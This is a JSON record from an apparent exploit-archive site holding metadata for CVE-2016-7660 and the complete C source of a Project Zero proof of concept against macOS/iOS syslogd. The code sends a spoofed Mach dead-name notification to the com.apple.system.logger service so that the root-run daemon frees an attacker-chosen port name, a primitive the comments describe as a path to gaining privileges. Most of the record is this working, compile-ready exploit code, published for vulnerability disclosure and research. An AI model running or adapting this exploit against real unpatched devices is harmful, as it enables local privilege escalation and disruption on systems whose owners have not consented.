{"exploit":{"id":"EDB-40959","name":"Apple macOS 10.12.1 / iOS < 10.2 - 'syslogd' Arbitrary Port Replacement (PoC)","description":"Apple macOS 10.12.1 / iOS < 10.2 - 'syslogd' Arbitrary Port Replacement (PoC)","cves":["CVE-2016-7660"],"author":"Google Security Research","published":"2016-12-22","platform":"multiple","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40959","path":"exploits/multiple/dos/40959.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40959.c","vulnerabilities":[{"id":"CVE-2016-7660","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in certain Apple products. iOS before 10.2 is affected. macOS before 10.12.2 is affected. watchOS before 3.1.3 is affected. The issue involves the \"syslog\" component. It allows local users to gain privileges via unspecified vectors related to Mach port name references.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-7660","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-7660"},"updatedAt":"2024-08-06T02:04:55.994Z","retrievedAt":"2026-11-26T16:08:24.774Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40959.png?v=2","url":"https://exploitbin.com/exploits/EDB-40959","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40959/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40959/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=977\n\nsyslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb\nsandbox profile and so reachable from a lot of sandboxed contexts.\n\nHere's a snippet from its mach message handling loop listening on the service port:\n\n    ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);\n  ...\n    if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)\n    {\n      deadname = (mach_dead_name_notification_t *)request;\n      dispatch_async(asl_server_queue, ^{\n        cancel_session(deadname->not_port);\n        /* dead name notification includes a dead name right */\n        mach_port_deallocate(mach_task_self(), deadname->not_port);\n        free(request);\n      });\n\nAn attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an\narbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right\nbut is a mach_port_name_t which is just a controlled integer.\n\nAn attacker could cause syslogd to free a privilged port name and get it reused to name a port for which\nthe attacker holds a receive right.\n\nTested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)\n*/\n\n// ianbeer\n\n#if 0\nMacOS/iOS arbitrary port replacement in syslogd\n\nsyslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb\nsandbox profile and so reachable from a lot of sandboxed contexts.\n\nHere's a snippet from its mach message handling loop listening on the service port:\n\n\t\tks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);\n\t...\n\t\tif (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)\n\t\t{\n\t\t\tdeadname = (mach_dead_name_notification_t *)request;\n\t\t\tdispatch_async(asl_server_queue, ^{\n\t\t\t\tcancel_session(deadname->not_port);\n\t\t\t\t/* dead name notification includes a dead name right */\n\t\t\t\tmach_port_deallocate(mach_task_self(), deadname->not_port);\n\t\t\t\tfree(request);\n\t\t\t});\n\nAn attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an\narbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right\nbut is a mach_port_name_t which is just a controlled integer.\n\nAn attacker could cause syslogd to free a privilged port name and get it reused to name a port for which\nthe attacker holds a receive right.\n\nTested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#include <servers/bootstrap.h>\n#include <mach/mach.h>\n#include <mach/ndr.h>\n\nchar* service_name = \"com.apple.system.logger\";\n\nstruct notification_msg {\n    mach_msg_header_t   not_header;\n    NDR_record_t        NDR;\n    mach_port_name_t not_port;\n};\n\nmach_port_t lookup(char* name) {\n  mach_port_t service_port = MACH_PORT_NULL;\n  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);\n  if(err != KERN_SUCCESS){\n    printf(\"unable to look up %s\\n\", name);\n    return MACH_PORT_NULL;\n  }\n\n  return service_port;\n}\n\nint main() {\n  kern_return_t err;\n\n  mach_port_t service_port = lookup(service_name);\n\n  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy\n\n  printf(\"%d\\n\", getpid());\n  printf(\"service port: %x\\n\", service_port);\n\n\tstruct notification_msg not = {0};\n\n  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);\n  not.not_header.msgh_size = sizeof(struct notification_msg);\n  not.not_header.msgh_remote_port = service_port;\n  not.not_header.msgh_local_port = MACH_PORT_NULL;\n  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME\n\n\tnot.NDR = NDR_record;\n\n\tnot.not_port = target_port;\n\n  // send the fake notification message\n  err = mach_msg(&not.not_header,\n                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\n                 (mach_msg_size_t)sizeof(struct notification_msg),\n                 0,\n                 MACH_PORT_NULL,\n                 MACH_MSG_TIMEOUT_NONE,\n                 MACH_PORT_NULL);\n  printf(\"fake notification message: %s\\n\", mach_error_string(err));\n\n  return 0;\n}","sha256":"ceaa308e4a666a3a61af12f3ccf0f6fb5f3c4ee09228fbc2bd0113e07380537a","bytes":4147,"fetchedAt":"2026-11-26T16:08:20.072Z","encoding":"utf-8 (display only; download retains original bytes)"}